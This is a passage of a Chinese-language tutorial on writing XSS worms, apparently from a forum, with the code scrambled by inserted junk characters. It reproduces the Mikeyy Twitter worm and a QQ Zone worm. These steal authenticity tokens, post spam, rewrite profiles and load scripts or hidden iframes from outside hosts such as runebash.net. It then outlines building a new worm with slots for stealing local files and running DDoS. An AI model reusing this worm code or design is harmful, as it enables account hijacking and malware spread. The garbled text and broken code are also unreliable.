( p# m2 P4 R2 m! J4 c 4. var _0x6687x2,_0x6687x3=false; f; R$ j, r7 J4 Z
3 N0 h- O) o! Y+ j) r6 i: F3 B, B 5. try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); } d+ V+ _3 f- t) \
; t& d, p3 G9 c 6. catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); }
a) A* }; y1 e0 L
5 T6 k. I5 S4 C+ \( x, _' ] 7. catch(e) { try { _0x6687x2= new XMLHttpRequest(); } 5 ]: {* U' |% b4 U
* T( o% b( q. j+ a& C1 W: C
8. catch(e) { _0x6687x2=false; }; }; };
+ r6 e' c" p; E0 K1 @% l复制代码第六版: 1. function wait() { 4 S* N/ X9 `/ n2 z* N- j/ e' ]
) X+ z- {7 T; [+ U0 e0 N 2. var content = document.documentElement.innerHTML;
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3. var tmp_cookie=document.cookie;
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1 A+ v# l0 \% I8 C. V, v 4. var tmp_posted=tmp_cookie.match(/posted/);
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5. authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g); ; x1 r7 A, S: C% [
% ^6 `/ n+ Z: l6 K/ y
6. var authtoken=authreg.exec(content); " n( y. i/ P. P! q2 H# O$ u! ?; [0 R
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7. var authtoken=authtoken[1];
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; Z* i1 J4 x: H5 I, A0 S& F 8. var randomUpdate= new Array();
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9. randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy."; / h6 I* T; {/ [# S: L% b
" z4 F3 u" ? @
10. randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy."; 8 }. y. ?, w3 R, @0 F& j1 M5 l3 q
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11. randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";
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12. randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy."; , l6 J2 L i2 q5 j( Y: K+ [
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13. randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy."; % |( g0 E1 E/ a' n5 j l' p) f
) `3 K2 G4 c, I; N4 C 14. randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy."; 8 I1 g7 u+ H; z2 P; q" F+ d0 f
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15. randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy."; 5 } O- z$ ~! k& v- W
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16. randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy.";
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) w& ]: F, o4 B- F; Y2 [ 17. randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy."; 9 p; W. B& t9 q4 ^. l' y
3 ` c# l) z' w- Q 18. randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy."; ! x# |% C) i! U7 {. Z& M
( c0 D5 {' h& g 19. randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy."; ^( ^1 m; e0 n+ m) P
4 T5 Y B( t7 B8 f 20. randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy."; $ ?) C# k4 w+ l5 K2 V: T8 ^! A) [) \
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21. randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe"; 2 n5 J7 J! j6 f9 A' i" w
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22. randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF"; 3 j! _& m' [$ S7 u) H! r' |
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23. randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe"; - w3 i. N0 Z: O: E* Q/ {; V
+ J' d: m1 z# G( t 24. 1 W# x8 g' L; ^+ v) c, @" a
; @3 G/ j9 i1 m$ { 25. var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)]; : D2 Y( m& s$ {) m% `
8 N) s ]3 e/ H6 N# Q, [ 26. var updateEncode=urlencode(randomUpdate[genRand]); . P% a2 t( M8 \3 I$ M( a8 \: h
: Q# e1 y7 o* u# p 27. 6 t' ^4 s( _- G/ e% {
' u( Z2 M& V: B% h3 n$ z, S' Y+ | 28. var ajaxConn= new XHConn();
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29. ajaxConn.connect("/status/update","OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true");
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30. var _0xf81bx1c="Mikeyy";
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" l" n! s0 `0 G8 W& { 31. var updateEncode=urlencode(_0xf81bx1c); - ^+ b6 y, r7 l, g; v
1 J4 |) k d( t [, x' w 32. var ajaxConn1= new XHConn(); & Z9 D; g; v# [
' `8 y8 t$ V# p( F8 [" D7 L 33. ajaxConn1.connect("/account/settings","OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save"); * \2 l; Z( y" [* A9 I, C
! K" r" u' [& k" j, R3 B 34. var genXSS="000; } #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333"; / k0 r) S2 O1 D+ `' A8 n, l% @: H
" k/ }, Q* d4 w. X" b! p3 Z- S" h 35. var XSS=urlencode(genXSS); " j2 v3 u9 [# E( b3 `* X S% j( J
]9 Q9 t& t) [! |% E8 {, K) O 36. var ajaxConn2= new XHConn();
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37. ajaxConn2.connect("/account/profile_settings",""OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes");
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38.
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# G& v4 L! a% Y 39. } ; , e" g# z8 c: B, f2 V& U
# h* a2 E: Q; H: e, a6 F
40. setTimeout(wait(),5250); $ k' _0 r) I' x5 d) r8 L/ ~
复制代码QQ空间XSSfunction killErrors() {return true;}
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, S6 N% T# r- x9 H% v# Xwindow.onerror=killErrors;
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( G! l8 o! [. C' F. Gvar shendu;shendu=4;" ]# \$ I) j. B9 u8 C
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//---------------global---v------------------------------------------; l& W) Y' C. @/ O- E, Z, a3 z) Q
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//通过indexOf函数得到URL中相应的字符串,用于判断是否登录的吧?0 `9 V+ T, d0 Q/ U/ d4 I
- s8 i; m" }8 n! Dvar visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";! F K# T- r0 v# u9 N- U
6 }6 {+ J+ S+ d, p9 zvar myblogurl=new Array();var myblogid=new Array();+ l* q; y ]; Y G4 W
( J# x" X+ H& E6 z2 Y: |# Q% | var gurl=document.location.href;( f, W* {2 t5 e% z
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var gurle=gurl.indexOf("com/");" D1 i( J) I; W! @$ S4 {% E+ Q+ p; P
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gurl=gurl.substring(0,gurle+3); / `3 V$ T) F6 K% u
0 j( U: n# j& _+ H* X& z var visitorID=top.document.documentElement.outerHTML;
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var cookieS=visitorID.indexOf("g_iLoginUin = ");. C% q Z6 L7 Y( y2 W
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visitorID=visitorID.substring(cookieS+14);
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cookieS=visitorID.indexOf(",");
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& B' y2 F$ q9 _; N) r: n& O! J visitorID=visitorID.substring(0,cookieS);" r) s' e1 I% p1 n8 u
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get_my_blog(visitorID);( a/ X0 c' T6 D* w6 o- p
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DOshuamy();
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& Q. t1 l* n# X! [" Y1 Q+ C( W4 U! n4 M8 U* x
9 { R: `7 @5 T9 ~* d//挂马
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: \* V" h! W- |' Q/ G" Pfunction DOshuamy(){
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* U/ U$ R* R5 G+ xvar ssr=document.getElementById("veryTitle");
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ssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");# _3 q# l4 p9 x9 l& v
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}/ O; l; n- N$ u$ H( \
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9 ]7 D' e; h5 ?6 @3 C: }//如果创建XMLHttpRequest成功就跳到指定的URL去,这个URL是干什么的就不知道了,没看过,刷人气?
5 r$ A' a' D; v w
$ y; ^, w3 Z6 k Wfunction get_my_blog(visitorID){& N% |# `1 @0 ~
0 F* c; F% M5 @$ t8 W userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";& x# z6 e. G% m; f" N
7 r8 |+ Z: q8 o9 z0 j' e4 m& j( P xhr=createXMLHttpRequest(); //创建XMLHttpRequest对象
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, o- h$ `$ J; |1 E1 d. ^ if(xhr){ //成功就执行下面的
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% u, j$ {1 P/ b1 o xhr.open("GET",userurl,false); //以GET方式打开定义的URL1 }9 y: D! _6 x2 e# n
0 @4 L. K2 g9 d) G
xhr.send();guest=xhr.responseText;- [; x* B6 ^: y3 D0 I
. C- g# j( {( l7 {% ?4 E( T, I. O. t get_my_blogurl(guest); //执行这个函数3 u- J$ E/ f8 Q# H
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@3 q& H( m/ S; G# M}- a" ]: Y! W% M3 z/ _/ ` T, e% u
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/ _1 `0 e, b6 I5 }" y//这里似乎是判断没有登录的: G/ w- C# o8 r& \& m
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function get_my_blogurl(guest){1 k L* C1 j- e6 u7 Y; T
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var mybloglist=guest;
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var myurls;var blogids;var blogide; x; }" z5 x- @: r; m$ g! m
+ H( u% R* b8 @! ~6 L for(i=0;i<shendu;i++){7 Z) G6 L d+ O+ v* M: M# l
$ ?0 s$ I% z7 \3 A0 [& H6 J9 I
myurls=mybloglist.indexOf('selectBlog('); //查找URL中"selectBlog"字符串,干什么的就不知道了" q6 ~" c! w' W6 ?
5 U8 v, p7 }. l3 R6 T5 {7 }- f* [ if(myurls!=-1){ //找到了就执行下面的9 h4 V- A: o$ b, p8 K0 @* R# u/ X
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mybloglist=mybloglist.substring(myurls+11);
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, f0 ~0 E2 ], _1 b; U8 k; S myurls=mybloglist.indexOf(')');
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( u" N9 s: D' [ myblogid=mybloglist.substring(0,myurls);
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+ O9 \# v& m h: t4 a" y }else{break;}
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}
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8 a; ]. F, J u7 qget_my_testself(); //执行这个函数
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//这里往哪跳就不知道了
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3 s9 [ s j! m0 a" O8 Mfunction get_my_testself(){
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' q: k, ?% w) [( O for(i=0;i<myblogid.length;i++){ //获得blogid的值
# d- s& U( i( C x7 n$ B9 I9 I
+ u# i0 d; D0 a1 j$ |) f q/ w var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();" F8 a7 f* ~, W5 q
9 g0 A- D. A2 R/ p! W' E, f' F
var xhr2=createXMLHttpRequest(); //创建XMLHttpRequest对象! A/ D9 _* f$ y) w9 k9 u: |7 a0 D
( ]! y% L/ C9 z) ~
if(xhr2){ //如果成功
& R8 B" k$ Z! v# c8 |+ t9 r8 E4 P0 ~( _; J% B# n3 ?
xhr2.open("GET",url,false); //打开上面的那个url
1 r1 f3 n+ f. g, C0 D& G) R, |9 O
1 B4 F/ r8 t( q9 b# B; K xhr2.send();: D' P0 c" B( ` m4 F. K
5 X( C5 P6 I8 K T4 W* Y% c guest2=xhr2.responseText;
) b+ T% t+ ~3 O5 ]2 i7 J% W0 @* |: L/ d5 Q4 ^. ]$ p8 l
var mycheckit=guest2.indexOf("baidu"); //找"baidu"这个字符串,找它做什么?7 U( x6 m* L& u$ P7 ?
! K2 k. t9 d" o, ]9 R var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串
# N+ q$ ?1 F+ f+ _) V3 |: l9 ]4 Q( q4 R5 D+ M, }3 }3 a* h
if(mycheckmydoit!="-1"){ //返回-1则代表没找到
& H) t" {3 }' w1 A) H# W) o7 S; \, j
targetblogurlid=myblogid; % m5 d& j9 _% P/ c3 H. N
. d/ {" S& o; S3 J0 w
add_jsdel(visitorID,targetblogurlid,gurl); //执行它
6 M2 L# V, U! }' V5 ]+ i8 M% V% @
7 U8 k2 x5 Y4 J# v break;* B" t+ ?/ I: t9 B
) J& o7 H& a- X, P8 u/ a }$ a, q" S9 u' T/ W
- o! g# [+ B+ a: A/ z. p: y) }" y
if(mycheckit=="-1"){
: |+ n# K: b: b8 l: T, t2 c" O4 q& p8 x1 @) L
targetblogurlid=myblogid;9 F+ Z, c6 Z6 s# ^
5 ^$ i1 I! I6 u add_js(visitorID,targetblogurlid,gurl); //执行它3 o" |$ g+ N5 g
) J/ ]6 ]/ u2 }2 C
break;
" V3 U% i8 y9 S
& E( p5 }4 {8 e7 |+ k+ `: F5 p }9 o: K: A7 _% d, U' h% \# u
8 Y( `; o4 x5 l$ q2 L$ C4 D
}
' _1 |' ]' g1 {) M7 b- Y% e% b2 e( S7 S' E, G. `( H% z
}; E; T& @4 t8 s! j! {
. j, z9 {2 E4 Q; w}
7 W: e G! H- v- M: N3 B$ t5 Q
4 o6 ?$ t& W( f/ G$ q3 f
$ s8 c/ Z- d9 m0 {5 O; o
8 u' j# B9 m7 V) H2 S$ R! C6 H8 t//--------------------------------------
3 g: |+ n. _ c2 Z4 c' r* b2 N) D1 R3 n" [
//根据浏览器创建一个XMLHttpRequest对象
: L0 s: G( P" {) s$ M5 b( P. g9 i' Z* B: Z8 _: G4 y8 k, K* |
function createXMLHttpRequest(){
- x, n$ R: s! K* m# b0 d
" V$ q- ~* f) {! ], x var XMLhttpObject=null;
, o' g: ] k3 V/ V& d+ A% o9 ^# Z( C0 |1 N
if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()} ' s! P* S% u$ a6 ~
8 H- j" K: y0 m$ P2 d( R
else
" M0 X6 ~8 n" F+ W p
f2 |7 @# n' u- ~- C { var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];
% p- M" F0 n0 u! a% [/ L7 j; S" k1 } u+ J
for(var i=0;i<MSXML.length;i++) ! A% M' G) w; M" e+ ?. ?$ J7 H9 t
A7 _: j# g7 z& R) `8 H
{ 8 T# U/ C. y9 A l! i6 m! {6 G
$ @- q. p2 e3 X# D- P% Y1 ~0 X# C6 W- J try
/ D5 f5 l, Q' Y S$ G7 I3 l6 P* N. G3 E
{ 3 b- H8 \/ v+ R5 E+ M
/ F Q4 j0 B) H0 Y7 ^+ G9 X XMLhttpObject=new ActiveXObject(MSXML);
8 T- ?: Z# x& f1 c
: R9 U. w- g. ?) h: d! J) z break; & I- M- B! c4 K4 }( d
- H, G5 F C& O; f. y+ F8 T } 5 j* V; a. s) a$ O
. {* Z" x1 q6 ` m1 H catch (ex) { $ g* z" _4 X9 v7 D3 n
: a$ k& @2 i) g0 r5 N: u) T! } }
7 m4 e6 K& ?* ~6 Y0 Y: P: W# @. x6 s* z# d+ c* U+ F4 Z% u+ a1 f- U% L6 v: w
} 8 r7 G) y( t8 j% ?0 r+ H v
" J- e( L' d* M% u7 ?! E( X
}/ I/ N" Z) ~' r$ U$ Y8 P- H
# z g( m% M: H8 i8 A8 i
return XMLhttpObject;
0 r+ g( e9 @) M( u# Y6 a1 F# Y+ M1 @( ~. y5 X
} * w6 H# V* G- Q) v e7 N! M3 V7 b
. r- h0 b3 v7 h' o; n/ I+ h$ @) C+ j% s$ ~2 y L% S
# c3 D# M" j0 e( _9 U3 n+ x8 ^
//这里就是感染部分了
: k: ]- m0 | B7 D/ d+ W3 c2 i' F2 E. }: t4 V) I l1 C/ |. |
function add_js(visitorID,targetblogurlid,gurl){" M8 H7 L6 ]' @# t# [4 c! q" b
: a9 l9 b# A, `: L8 i( L" E0 S
var s2=document.createElement('script');: e2 W( X* x2 _# l
' N$ r% E8 x- ~/ \9 y) F* T' is2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
' ?, y/ W5 ` W* d* }* {6 V) b0 V$ k) w. }# D: x) y3 ~% H% N
s2.type='text/javascript';
8 ]( ~8 v" s. s, _7 a# V1 d% y& Q9 q1 N5 L; B
document.getElementsByTagName('head').item(0).appendChild(s2);
% ^& i6 L# @ P5 o4 Y0 a; A, {1 R2 c& l& v4 B: `8 S. h/ |
}& A( P0 R" [# A; d( ?, Q9 A! Q
& X% j( j1 @( F. V" V: b: M' g/ U7 V- W% O g; ~$ l% E
5 y& K3 _0 d) x/ e8 E" u
function add_jsdel(visitorID,targetblogurlid,gurl){
! |. O* m- |1 V/ d5 z8 J) e! c) H+ B$ I# f4 x; D, w
var s2=document.createElement('script');
* w6 Z5 v0 T1 z% X: Y/ _2 f
0 O9 a- p5 O8 Z" Ys2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();1 Y7 U8 H/ j6 H; u, o0 k
% O* q- r; E) }- Y( n
s2.type='text/javascript';
9 c1 j! W- E# D) p. f1 O6 {9 j5 A1 A4 s4 K7 T
document.getElementsByTagName('head').item(0).appendChild(s2);
7 z& E5 i- ^* a& t9 n
0 d# t& C/ a: Q, d i}
, E$ A: p! Z' j" C% ^# f复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:
9 J& J N# H+ Q8 j n# n# [* A: n; }1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.): b( Y1 @, X# J' P3 R. Y0 W3 U
E1 U+ f" H! ]! a @; P& ~
2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)
' G6 {/ l1 ^8 s- m0 Z+ v4 N7 f3 W5 i
综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~
: ?) B4 o6 S* M1 P( c( i4 Y5 ~; ^; L. p9 o+ w
; _" o3 |( ?+ @+ K4 `下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.
9 T7 X3 K; E9 O
$ P4 P. ]% s0 A* I首先,自然是判断不同浏览器,创建不同的对象var request = false;
9 c' ]0 D7 l. h9 F5 K7 c6 _9 f$ y3 b" r
if(window.XMLHttpRequest) {2 ]: {! E n" e4 u: n& c
8 q( q1 N- Y, Xrequest = new XMLHttpRequest();
% P+ \5 t2 ]& ^+ T5 D0 W/ j6 _; {0 E' u1 R4 z D' ]% @! d
if(request.overrideMimeType) {; N$ Y. J: [4 Z* ?4 `' f' Y+ E1 k
+ S6 m$ @; Z! d% O7 O! L; T0 W) grequest.overrideMimeType('text/xml');
" W% ~/ U: j# e, a( T
P7 m/ T3 m0 s9 B/ e' n5 [}1 G6 y0 q# R) ^/ s
) X8 Z% a; d+ K2 w/ I% Q} else if(window.ActiveXObject) {
0 f/ K w6 D+ M3 M7 {2 F6 A8 h# t) q! R+ O5 o. C4 n4 e0 Q
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];0 r, n5 X# W& Y% m
, h) v& A2 S+ \4 y. R( N8 Ofor(var i=0; i<versions.length; i++) {& s2 J! n+ D0 p6 K3 z0 p9 N
5 Y3 ?: t X( C3 ytry {
7 r! w8 W1 z. k1 R, i9 `! p* P. B
- V$ v' C C S; srequest = new ActiveXObject(versions);2 S ?* o" \0 x1 x6 q2 ]" a
) z f" H; Q- x3 `9 K/ m} catch(e) {}/ s$ L% U$ \* X: A
0 t$ I$ L& m8 J k# c}! m. [- w/ D2 f* `
) h) ^) o' P0 Y$ X# _0 O+ e
}
& q8 ~5 ^% B' x9 r' e( w6 ?+ h t: C" K
xmlHttpReq=request;! W$ v0 S/ A2 f7 K( x9 x
复制代码可以此时添加判断浏览器具体型号和版本: function browserinfo(){
2 e$ |+ M; Z5 P$ W; l3 L
; V) r& ?7 E+ h* }- G var Browser_Name=navigator.appName;% _1 l$ _8 g0 F& z2 H4 Z
8 x S/ z2 y! f4 c1 }2 [ var Browser_Version=parseFloat(navigator.appVersion);9 p4 \8 G4 u! s) q, ~* {& U
1 s# W4 U: S7 O% A% G6 F* P
var Browser_Agent=navigator.userAgent;6 m$ Y8 A. P/ Y
6 W- R. O7 Y; n* Z$ H$ f
1 y8 F/ R' L4 N9 w" Z5 ^
5 c" l; q. A/ M" _$ t- `: Q var Actual_Version,Actual_Name;0 p% i0 Z$ ]( q% z. b. |
6 j' w7 Q# `' N0 D: `
3 g/ Q8 b; I4 d1 x# ], ^" ^4 I+ t8 ^
5 X3 c3 d. V, R var is_IE=(Browser_Name=="Microsoft Internet Explorer");
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var is_NN=(Browser_Name=="Netscape");
; H* D/ |" ?& u3 J' U2 S/ t
; w1 k8 I ]& _5 h var is_Ch=(Browser_Name=="Chrome");4 D x: `. n& j
# H. ?0 A0 P* H n$ C% M- ^ . Z) M& B. ]/ s4 {0 i8 r5 w
9 _ v5 C- H! ~5 Q8 J; ]1 D& S if(is_NN){
( ]$ a# ^0 V/ l5 Q& R5 E' J/ u! Y) V) R" s Z6 S; K8 {
if(Browser_Version>=5.0){
$ c& C8 b! e. G& K1 F# B! e; P9 E
var Split_Sign=Browser_Agent.lastIndexOf("/");4 o) f: Y8 ^5 u9 {) E- n; G
9 e! H: u! A0 A& ~ u1 I4 r7 P
var Version=Browser_Agent.indexOf(" ",Split_Sign);
, h" F. v/ C$ \5 E# G& G) r# o" A) R2 e1 [/ A& j1 G
var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);/ [; Z1 Q5 ~$ r& t+ ^
6 ]( f( G; F( ^2 }3 l
0 Q3 V& i! Y8 v/ U! u
; I- Z; j @3 T, N Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);
# d- H' F" i& ], [3 k- _. _1 p" k; @5 Q( d" A$ ^
Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);
* l/ h* q$ B) A$ H& u& F$ E* ^3 U0 v+ q0 p! F5 p
}: V5 A. m5 o: D; |$ l0 A7 E! B* x
: J/ M3 ?) U/ e# T- e0 L6 x! j else{2 I1 P3 P3 ?3 Z2 a) `+ k# h
. E1 q/ u6 r0 K
Actual_Version=Browser_Version;
' B& Q: v3 K& E& C1 Q% B
* _7 L0 L2 l0 o; }3 O+ t' r( X Actual_Name=Browser_Name;
- R. W* B3 L0 A
3 C' y" A4 A( P6 ?1 ~ B }
% D$ F# j% m- y* y+ U1 ^5 o" n; D6 w; K
}
$ u- Y: S0 a2 F: P& j5 J) Y# }3 J! P* }0 K. P# C% Q. ] c
else if(is_IE){( B h' Y" s! H1 {8 K
8 d G* L. p, A5 {9 ` var Version_Start=Browser_Agent.indexOf("MSIE");2 b. w7 ?0 b# M; D# q9 ^
- p: L7 g7 i; b! {. }! u var Version_End=Browser_Agent.indexOf(";",Version_Start);& w7 S4 v- i& r
. _- U$ _/ y+ q, S1 E, B
Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
& l+ m( k4 ^: n2 G6 N0 u
. w) r% a1 g$ G' m4 ^1 J Actual_Name=Browser_Name;9 |+ S; N' U o- H
@5 j! l3 j3 Y" c
6 ^3 }/ |4 W. T: T5 g* I H H9 b/ v
if(Browser_Agent.indexOf("Maxthon")!=-1){
/ ` E0 W4 ], ]# Z% c6 b- b+ i# c5 s& [) o$ ~! J
Actual_Name+="(Maxthon)";
2 l1 k3 U5 F8 A8 T) n' s9 {1 M3 G9 J' U1 p( C, Q8 N
}/ u& t2 @+ ?- {; M! w1 d
& Z3 K; a( C: k2 L: k
else if(Browser_Agent.indexOf("Opera")!=-1){
- v' S" z& G( q4 w
* G0 h4 |- ], W# x; Z' C/ E Actual_Name="Opera";
3 x. c7 e$ f* P! K8 N% P8 Y y% ?5 y) l5 h
var tempstart=Browser_Agent.indexOf("Opera");; Y t( p9 Y* |
' A, B* Q d5 r# i8 o$ F var tempend=Browser_Agent.length;
- D, ~5 R* ?" V) s8 t" B
9 n Y( c* u7 q. G Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
/ `* E. b C6 b4 b8 L7 H
2 X# R6 | M& x5 o* g# \ }6 Z D; H" S% s$ r4 c
; E5 Q. q( w6 W" J
}
; ]/ q7 y! n7 r( Z: S
5 b0 I7 _. r* u1 @& O else if(is_Ch){% k) g l/ `' @
3 z& m( L% u M: b: B
var Version_Start=Browser_Agent.indexOf("Chrome");
$ d, U* P8 g1 A ~( }# [5 p. J, z& U/ ], r4 Y& {+ ?! B" D. m* j8 \
var Version_End=Browser_Agent.indexOf(";",Version_Start);+ O7 [8 ~& A, @+ |/ q; a
; s$ T3 X+ A% p% U0 Q$ R) D Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
# T" j/ K) T8 M' D; g/ N) i* T3 `
( ], d1 f3 O ~0 {7 ` Actual_Name=Browser_Name;$ q* A8 x$ e6 |& A( e& Y
. ^& X# s* j. X. K( s3 ^" d
3 q8 X, A! ?$ a7 _6 I
1 c' s0 W1 x2 U0 W2 D8 ]* Q if(Browser_Agent.indexOf("Maxthon")!=-1){
% l. j# |" z/ n
* d) I9 }$ L9 s1 W7 l Actual_Name+="(Maxthon)";
& E6 v9 Z1 C2 ], ?
3 B# u3 S9 R; f8 X% A1 p+ q; r }
' W9 r7 S4 ~3 u$ h0 T7 v
. I3 A3 G# I* y, B* V. i) z, k else if(Browser_Agent.indexOf("Opera")!=-1){
' ]- u$ ?' f) W1 \: t, V4 L
- t# F- t% V/ m W" `, ` Actual_Name="Opera";
1 \* S- a& w; A; _; b
" N) A; q! M; ~ var tempstart=Browser_Agent.indexOf("Opera"); H C8 h- x* k
6 J, D( H7 o" P; {! o var tempend=Browser_Agent.length;: ~6 S4 [3 a7 e- i( D& k' D' q0 q
3 e/ X6 i: a/ [! Z* u' K4 K
Actual_Version=Browser_Agent.substring(tempstart+6,tempend); ^7 E; N: S% B) g" k1 `
5 |* x8 m4 |) L }
# n/ z# N' X/ D' A! Z
$ o i, p& E i/ j* w- u }8 ?6 b8 A+ t, ^: |& U h/ ?
$ Q) u$ r- x' _* X+ r: W else{
& U+ b" c# n+ X: d e: s7 a
- n+ R+ q: }: u- v Actual_Name="Unknown Navigator"
* p3 s4 }- c M0 z: J
: l8 P% ~, M+ T& z4 u# D Actual_Version="Unknown Version"
; c, T u/ S5 Y6 ^* d- x& P5 }+ l; R2 R3 r/ ]
}: c! a4 q# c s( f
* E1 c0 M4 _# `. [$ O; H8 C& f5 E4 J4 |2 p) K+ `
8 F- K) ]( U2 X1 v8 q9 t4 ^ navigator.Actual_Name=Actual_Name;6 N6 |9 b, N5 H- w/ ^& J
8 \$ F- V8 h7 E& P+ l- B* v navigator.Actual_Version=Actual_Version;
0 p- R) o2 J9 |( Q4 ]: c$ K3 x# o D" b! g7 |, {! R ^
/ ? ?9 \% F# t/ o" }- X) K5 s5 d
! K: w6 _5 o8 J! h% Y) ~! d5 u5 I this.Name=Actual_Name;: l( A7 r2 _& O& V* z9 n9 q* j
8 E1 _( m. x7 `. M4 _. T: u) Y
this.Version=Actual_Version;
' L$ u8 W: M! r( e; w4 O
, Y: y( y% Y. c% P) t/ [, C. Z- O }
' B/ W+ i5 {1 b1 S+ l3 d. `! }1 j
browserinfo();. l6 e( d5 G! z# j2 l2 N3 M
6 \. A& M1 j' K0 H9 b+ s$ G" l if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}3 {7 H: ?" G K) d1 Q, x
% M2 l% l6 Y/ w) k9 _0 n2 ^
if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}& B6 `3 y3 t) s, W( r7 g) ~- Q
. K; [$ B" K1 c if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}9 O7 q/ P) g% Z7 }
/ ~1 ]) @# |& p; }$ o4 |% u if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}: \ K' D. I* r6 i! ^) U5 ]
复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码
" N. h- k7 v1 U7 d S) Q& `. q+ K) x复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码
1 c/ f m O( V复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false); //读取某页面.
! L6 `+ Q- }7 F& c' {% {" c8 i% |% i, o% f( m5 Y
xmlHttpReq.send(null);: V# A% |. _7 ^( v; l
; a+ y/ a V/ X. z
var resource = xmlHttpReq.responseText;
' L2 t2 ]2 r9 D2 _0 ^2 S! _4 ?
" W' ^+ M" l, Mvar id=0;var result;/ Y6 b0 q. W* G
! b$ ^0 F8 S4 {) W3 u$ G/ Fvar patt = new RegExp("bugbug.js","g"); //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.3 d6 P0 G2 F5 r1 v/ H
$ q+ s! @2 ]& _5 ^* _while ((result = patt.exec(resource)) != null) {
1 Q0 H6 i( u& S. L5 \
9 {* \7 d3 I1 w% b( ?# X9 _id++;& O/ [, a8 I4 M2 b! x) o
3 m9 u5 b5 W, ~( ^$ b
}
